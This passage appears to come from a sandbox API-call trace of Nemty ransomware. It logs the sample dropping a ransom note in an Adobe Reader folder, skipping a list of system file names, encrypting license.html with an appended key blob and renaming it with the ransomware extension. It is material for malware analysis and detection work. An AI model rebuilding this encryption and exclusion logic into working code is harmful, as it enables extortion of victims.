cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.730] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.732] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.732] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.732] CloseHandle (hObject=0x254) returned 1 [0172.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.734] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.734] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.735] CloseHandle (hObject=0x254) returned 1 [0172.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.735] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a98bcb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a98bcb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.735] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.735] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a98bcb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a98bcb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.735] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.735] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.735] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.735] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.736] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.736] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.736] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.736] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.736] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.736] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.736] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.736] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.736] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.736] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.737] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.737] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.738] Sleep (dwMilliseconds=0x5) [0172.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a9d7f70, dwHighDateTime=0x1d561e8)) [0172.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a9d7f70, dwHighDateTime=0x1d561e8)) [0172.752] GetLastError () returned 0xb7 [0172.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.752] GetLastError () returned 0xb7 [0172.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.752] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.752] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.753] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.753] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="45HtzDLspKuoB0R9P29ku2u0+acCQsd99HacD4lLvBRId3rrZAMhy9grsjOw5X22\r\nGO4wPeM+uHyPV+fDIWxyGxw3hn+m1+/jGe88ceqCO+GFqUVg4vXBXPnyTfJafej8\r\nyan60662vLN5Eb+/eSFRteilbIFKzXKOXlwim9HTsOFW5M0rFCZ0QJP01V4HJR5W\r\nGj84+wQY0YjZdQ0Ly8PsELvh1mXvkroeE0lhja96V0YX4WQkfWPgKZPkHaPDL7XM\r\nRQVp03QOfYw4SNJ+38vT+Zs3acyakfpj8td8HE5XHS09Nr6ZEoxXwvVMc6Yfbp3q\r\naFPGXvSS7KuRjxi5CF5ECw==\r\n", pcchString=0x653e5dc) returned 1 [0172.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.753] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=52576) returned 1 [0172.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xcd60) returned 0x6352c48 [0172.753] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.753] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xcd60, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xcd60, lpOverlapped=0x0) returned 1 [0172.758] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.758] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xcd60, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xcd60, lpOverlapped=0x0) returned 1 [0172.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.758] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=52576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcd60 [0172.759] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.759] CloseHandle (hObject=0x3b0) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.759] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html._nemty_kgobjgd_")) returned 1 [0172.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.760] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a98bcb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a98bcb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a98bcb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.760] lstrcmpiW 